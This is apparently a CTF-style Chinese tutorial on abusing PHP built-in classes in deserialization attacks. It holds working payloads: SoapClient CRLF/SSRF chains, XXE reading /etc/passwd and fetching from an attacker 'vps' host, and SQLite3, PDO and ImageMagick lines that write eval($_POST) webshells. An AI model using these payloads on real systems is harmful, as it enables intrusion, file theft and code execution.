前言
PHP 内置了丰富的原生类(Built-in Classes),无需引入外部代码即可使用。在反序列化、代码执行受限等场景中,合理利用原生类往往能出奇制胜。本文整理 PHP 原生类在安全利用中的常见手法,按功能分类介绍。
常用原生类速查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Error — __toString 控制输出 / md5 sha1 绕过 Exception — 同 Error SoapClient — CRLF 注入 → SSRF(反序列化核心) DirectoryIterator — 遍历目录 FilesystemIterator — 遍历目录(可配合 glob://) GlobIterator — 遍历目录(自带通配符,无需 glob:// 前缀) SplFileObject — 读取文件内容 SimpleXMLElement — XXE 注入 ReflectionClass — 获取类信息 / 注释泄露 ReflectionMethod — 获取方法信息 / 注释泄露 ReflectionFunction — 反射函数 / invoke 调用 Imagick — MSL 命令注入 / SSRF Phar — phar 反序列化 ZipArchive — 动态创建 phar / zip SQLite3 / PDO — 数据库操作 / 文件写入 Generator / Closure — 回调函数相关 RecursiveDirectoryIterator — 递归遍历目录 SplQueue / SplStack — 数据结构(特定场景 pop chain 中使用)
|
一、遍历目录类
1.1 DirectoryIterator
遍历指定目录中的文件,可以配合 glob:// 协议使用通配符匹配路径:
1 2 3 4 5 6 7
| <?php $dir = new DirectoryIterator("/");
foreach ($dir as $f) { echo $f . '<br>'; }
|
要点: echo 触发 __toString() 方法,返回当前文件名。配合 glob:// 可绕过 open_basedir。
1.2 FilesystemIterator
与 DirectoryIterator 类似,同样可以配合 glob:// 使用:
1 2 3 4 5
| <?php $dir = new FilesystemIterator("glob:///var/www/*"); foreach ($dir as $f) { echo $f->__toString() . '<br>'; }
|
1.3 GlobIterator
相比上面两个,GlobIterator 自带通配符匹配功能,不需要额外写 glob:// 前缀。当关键字 glob 被过滤时,优先用这个类:
1 2 3 4 5
| <?php $dir = new GlobIterator("/fl*"); foreach ($dir as $f) { echo $f . '<br>'; }
|
三个类均可配合其他原生类的 POP 链用于绕过 open_basedir 限制列举目录。
1.4 RecursiveDirectoryIterator
递归遍历目录,可遍历子目录:
1 2 3 4 5 6
| <?php $dir = new RecursiveDirectoryIterator("/var/www/"); $it = new RecursiveIteratorIterator($dir); foreach ($it as $f) { echo $f->__toString() . '<br>'; }
|
二、读取文件类 — SplFileObject
SplFileObject 的构造函数接受一个文件路径,触发 __toString() 时会读取文件内容。但默认只返回第一行,需要遍历或调用 fpassthru() 获取完整内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
$dir = new SplFileObject("/flag.txt"); echo $dir;
$dir = new SplFileObject("/flag.txt"); foreach ($dir as $tmp) { echo $tmp . '<br>'; }
$dir = new SplFileObject("/flag.txt"); $dir->fpassthru(null);
|
反序列化 POP 链常见用法: 在 __toString → readfile 的链中,将 SplFileObject 作为中间跳板读取目标文件。注意部分 PHP 版本 fpassthru() 不接受参数。
三、Error / Exception 类
3.1 控制 __toString() 输出
Error 和 Exception 类都能在实例化时传入错误消息,触发 __toString() 时以带行号的格式化字符串返回:
1 2 3 4
| <?php $a = new Error("<script>alert('xss')</script>"); echo $a;
|
反序列化 XSS: 当反序列化后 echo 了可控对象时,可构造 Error 对象注入 XSS。
3.2 绕过 md5() / sha1() 强比较
当两个 Error / Exception 对象在同一行被实例化且传入相同错误消息时,__toString() 输出的格式化字符串完全相同(包含相同的行号),因此 md5() / sha1() 结果也相同,但两个对象本身是不同的实例(!==):
1 2 3 4 5 6 7
| <?php $a = new Error("payload", 1); $b = new Error("payload", 2); echo $a; echo $b; var_dump(md5($a) === md5($b)); var_dump($a !== $b);
|
POC:
1 2 3 4
| $payload = "1"; $a1 = new Error($payload, 1); $a2 = new Error($payload, 2);
|
3.3 eval 触发 __toString()
1 2 3
| <?php $a = new Error('?><?php phpinfo();', 1); eval($a);
|
四、SoapClient — CRLF → SSRF
SoapClient 是 PHP 反序列化中最强大的原生类之一。它可以在实例化时发起 HTTP 请求,配合 CRLF 注入修改任意 HTTP 头,实现 SSRF + 完全控制 HTTP 请求。
4.1 基本原理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $target = 'http://127.0.0.1:80/'; $headers = [ 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=admin' ];
$soap = new SoapClient(null, [ 'uri' => 'test', 'location' => $target, 'user_agent' => "attacker\r\n" . implode("\r\n", $headers) . "\r\n", ]);
|
4.2 CRLF 注入 User-Agent → 完全控制请求头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class SoapClientSSRF { public $soap; public function __construct() { $headers = [ 'Host: internal-service:8080', 'Authorization: Bearer admin_token' ]; $ua = "SOAP\r\n" . implode("\r\n", $headers) . "\r\n"; $this->soap = new SoapClient(null, [ 'uri' => 'x', 'location' => 'http://127.0.0.1:8080/admin', 'user_agent' => $ua, 'exceptions' => 0, 'connection_timeout' => 5 ]); } }
|
4.3 完整 SSRF POP 链
配合存在 __destruct 或 __call 的任意对象触发:
1 2 3 4 5 6 7 8 9 10 11
| <?php $target = "http://127.0.0.1:8080/flag"; $postData = "arg=value";
$soap = new SoapClient(null, [ 'uri' => 'x', 'location' => $target, 'user_agent' => "x\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . strlen($postData) . "\r\n\r\n" . $postData ]);
$exp = serialize($soap);
|
4.4 实际利用场景
| 场景 |
目标 |
| Redis 未授权 |
location 指向本地 Redis 端口,构造 config set / flushall 写 shell |
| 内网服务探测 |
遍历内网 IP + 端口,根据超时/错误信息判断存活 |
| 攻击 Solr/ES 等 |
利用 CRLF 构造恶意请求体攻击内网应用 |
| MySQL 构造 |
构造 MySQL 协议包读取文件(需知道用户名密码) |
| FastCGI |
攻击 PHP-FPM 监听端口实现 RCE |
4.5 触发方式
SoapClient 需要调用一个方法才能发起请求,常用触发:
__call — 调用对象上不存在的方法(最常见的反序列化触发点)
__toString → 链到某个调用不存在方法的对象
__destruct → 链到某个调用不存在方法的对象
__wakeup → 同上
五、SimpleXMLElement — XXE 注入
SimpleXMLElement 用于解析 XML 文档。PHP 的 libxml 默认启用外部实体加载,可直接触发 XXE。
5.1 构造函数参数
1 2 3 4 5
| SimpleXMLElement( data, // XML 数据 或 文件路径 或 远程 URL options, // 一般填 2 data_is_url, // true 表示 data 是文件路径/URL, false 表示是 XML 字符串 )
|
5.2 远程 XXE
1 2 3 4 5 6 7 8 9
| <?php
$xml = new SimpleXMLElement('http://vps/evil.xml', 2, true);
|
5.3 直接 XXE
1 2 3 4 5 6 7
| <?php $xml_data = '<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>'; $xml = new SimpleXMLElement($xml_data, 2, false);
|
5.4 盲 XXE — 外带数据
1 2 3 4 5 6 7 8 9 10 11
| <?php $xml_data = '<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://vps/evil.dtd"> %xxe; ]> <root>&send;</root>';
|
要点: 当反序列化 POP 链中存在可控参数可传入 SimpleXMLElement 时,可构造 XXE 读取文件或 SSRF。
六、反射类
6.1 ReflectionClass
获取类的定义信息,可用于反序列化前的信息收集:
1 2
| <?php echo new ReflectionClass('readflag');
|
6.2 ReflectionMethod
最重要的一点——它可以获取类/函数中的文档注释(DocComment)。题目中如果 flag 藏在注释里,这就是最优解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
function exampleMethod($name) { return true; }
$method = new ReflectionMethod('exampleMethod'); echo $method->getDocComment();
class User { public function login($username, $password) { } } $method = new ReflectionMethod('User', 'login'); echo $method->getDocComment();
|
完整用法合集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| class User {
public function login(string $username, string $password): bool { return true; } }
$method = new ReflectionMethod('User', 'login');
echo "方法名: " . $method->getName() . "\n"; echo "是否公共: " . ($method->isPublic() ? '是' : '否') . "\n"; echo "参数数量: " . $method->getNumberOfParameters() . "\n";
foreach ($method->getParameters() as $param) { echo "参数: " . $param->getName() . " (" . $param->getType() . ")\n"; }
if ($method->hasReturnType()) { echo "返回类型: " . $method->getReturnType() . "\n"; }
if ($doc = $method->getDocComment()) { echo "文档注释:\n" . $doc . "\n"; }
$user = new User(); $result = $method->invokeArgs($user, ['admin', '123456']); echo "调用结果: " . ($result ? '成功' : '失败');
|
6.3 ReflectionFunction
反射普通函数或匿名函数,通过 invoke / invokeArgs 执行:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php function sayHello($name) { return "Hello, $name!"; }
$ref = new ReflectionFunction('sayHello'); echo $ref->invoke('World'); echo $ref->invokeArgs(['World']);
$func = function($a, $b) { return $a + $b; }; $ref = new ReflectionFunction($func); echo $ref->invoke(5, 3);
|
6.4 反射类 POP 链用途
在反序列化链中,反射类常用于:
- 绕过
new 关键字的限制 — 不需要 new $class(),直接从反射获取实例
- 调用非公开方法 — bypass
private/protected 访问控制
- 获取注释泄露信息 — 题目把 flag 藏在注释里
七、其他重要原生类
7.1 Imagick — MSL 命令注入 / SSRF
Imagick 是 PHP 的图像处理扩展,支持读取 SVG 等矢量格式。如果存在 new Imagick($url . $ext) 且参数可控,可造成 SSRF 或命令注入。
方式一:Imagick + delegate(GhostScript 命令注入 / 早期 ImageMagick RCE)
在 SVG 中构造 <image xlink:href="url"/> 可实现 SSRF。部分版本的 MSL(Magick Scripting Language)文件可以直接执行系统命令。
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE svg [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]> <svg xmlns="http://www.w3.org/2000/svg"> <text>&test;</text> </svg>
|
1 2 3 4
| <image> <read filename="caption:<?php @eval($_POST[1]);?>" /> <write filename="info:./upload/shell.php" /> </image>
|
方式二:Imagick 读取 blob 创建时触发 SSRF
1 2 3
| <?php $image = new Imagick('http://127.0.0.1:6379/test.svg');
|
要点: Imagick 参数中如果 URL 可控,可尝试 SSRF + 任意文件写。
7.2 ZipArchive — 动态创建压缩包
在 phar 反序列化场景中,如果目标存在文件上传但限制了直接上传 .phar,可利用 ZipArchive 在目标服务器上动态创建 phar 文件:
1 2 3 4
| <?php $zip = new ZipArchive(); $zip->open('/tmp/shell.phar', ZipArchive::CREATE);
|
7.3 SQLite3 / PDO — 数据库操作
当存在任意类实例化时,可通过 SQLite3 或 PDO 创建/写入 SQLite 数据库文件:
1 2 3 4 5 6 7 8 9 10
| <?php
$db = new SQLite3('/var/www/html/shell.php'); $db->exec('CREATE TABLE a (b TEXT);'); $db->exec("INSERT INTO a VALUES ('<?php eval(\$_POST[1]);?>');");
$pdo = new PDO('sqlite:/var/www/html/shell.php'); $pdo->exec('CREATE TABLE a (b TEXT);'); $pdo->exec("INSERT INTO a VALUES ('<?php eval(\$_POST[1]);?>');");
|
利用条件: 目标目录可写。写出的 PHP 文件虽然包含 SQLite 格式的二进制头,但 PHP 引擎在解析时会跳过非 PHP 代码块,<?php 之后的代码仍然执行。
7.4 Generator / Closure
在回调马场景中有用:
1 2 3 4 5 6 7
| <?php
$closure = function($a, $b) { return $a + $b; };
function gen() { yield 1; yield 2; } $generator = gen();
|
7.5 RecursiveIteratorIterator
配合 RecursiveDirectoryIterator 递归遍历目录:
1 2 3 4 5 6 7
| <?php $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator('/var/www/') ); foreach ($it as $f) { echo $f->__toString() . '<br>'; }
|
7.6 数据结构类(SplQueue / SplStack / SplHeap)
偶尔出现在复杂的 POP 链中,用作中间跳板或绕过类型检查:
1 2 3 4 5 6
| <?php $queue = new SplQueue(); $queue->enqueue('a');
$stack = new SplStack(); $stack->push('b');
|
八、反序列化 POP 链中常见的 “有 __toString() 的内置类”
当需要构造 __toString → 调用函数 的链时,以下内置类可充当跳板:
这些类的 __toString() 在各版本行为略有差异:
Exception / Error — 返回格式化的错误信息字符串
DirectoryIterator / FilesystemIterator / GlobIterator — 返回当前文件名
SplFileObject — 返回文件当前行内容
ReflectionClass / ReflectionMethod / ReflectionFunction — 返回类/方法/函数的签名字符串
总结
| 目标 |
可用原生类 |
典型场景 |
| 遍历目录 |
DirectoryIterator / FilesystemIterator / GlobIterator |
LFI + open_basedir 绕过 |
| 读取文件 |
SplFileObject |
反序列化 POP 链读取 flag |
| SSRF |
SoapClient (CRLF) / Imagick / SimpleXMLElement |
反序列化打内网 |
| XXE |
SimpleXMLElement |
文件读取 / 盲 XXE 外带 |
| 绕过 md5/sha1 强比较 |
Error / Exception |
弱类型比较绕过 |
| 信息收集 |
ReflectionClass / ReflectionMethod |
注释泄露 / 方法发现 |
| 动态调用 |
ReflectionFunction / ReflectionMethod |
invoke 任意函数 |
| 文件写入 |
SQLite3 / PDO / ZipArchive |
反序列化写 shell |
| 命令执行 |
Imagick (MSL) |
图像处理扩展利用 |
核心思路: 反序列化的利用不一定需要目标代码里有现成的类。PHP 内置类就是永远存在的 “gadget”,配合巧妙的参数构造可以完成从信息收集到 RCE 的完整链。